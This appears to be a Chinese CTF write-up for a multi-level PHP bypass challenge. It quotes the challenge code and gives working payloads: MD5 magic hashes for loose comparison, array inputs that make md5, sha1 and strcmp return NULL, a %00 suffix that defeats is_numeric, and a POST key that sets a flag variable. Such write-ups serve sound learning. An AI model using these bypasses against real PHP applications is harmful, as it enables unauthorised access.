Begin of PHP WP
Begin of PHP WP
这个题目是一个层层递进的关系,首先先看 flag1。
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
要求 key1 与 key2 不相等,但是他们的 md5 哈希要相等。
根据 Hello CTF 中的介绍,选用 \(240610708\) 和 \(314282422\) 可以,他们的 MD5 值都是以 \(0e\) 开头的,最后会被识别为 \(0\)。
?key1=240610708&key2=314282422
当 flag1 为 true 后,进行我们的第二个绕过。
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
现在是让 key3 的 MD5 哈希值和 sha1 函数值强比较相等,key3 是一个变量,如果我们将 key3 作为数组传入,两边都会返回 NULL, 而 NULL === NULL,即可绕过。

flag2 通过后,继续往下看。
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
只要询问的 key4 与 flag 的内容一样即可,但由于我们不知道 flag 是什么,所以要绕过,让 strcmp 返回 0,如果 strcmp 中比较的是数组,则会返回 NULL,利用这个,我们可以绕过,最终让 NULL == 0,成功绕过。
?key1=240610708&key2=314282422&key4[]=a
通过 flag3 后,看下一个绕过。
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
现在要绕过 is_numeric,同时要让 key5 > 2023。利用 %00 空字符,绕过 is_numeric, 这里尝试过,只有把 %00 放到数字后面才能绕过成功。
?key1=240610708&key2=314282422&key4[]=a&key5=2024%00
接下来看最后一个绕过。
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
我们看到,preg_match 函数把大小写字母和数字都禁用了,但是我们注意到 foreach($_POST as $var), 这里只有值,没有键值,所以我们可以让 flag5 作为键值,让一个其他的符号充当 var 即可。
key3[]=1&flag5=_
最后拿到 flag.


浙公网安备 33010602011771号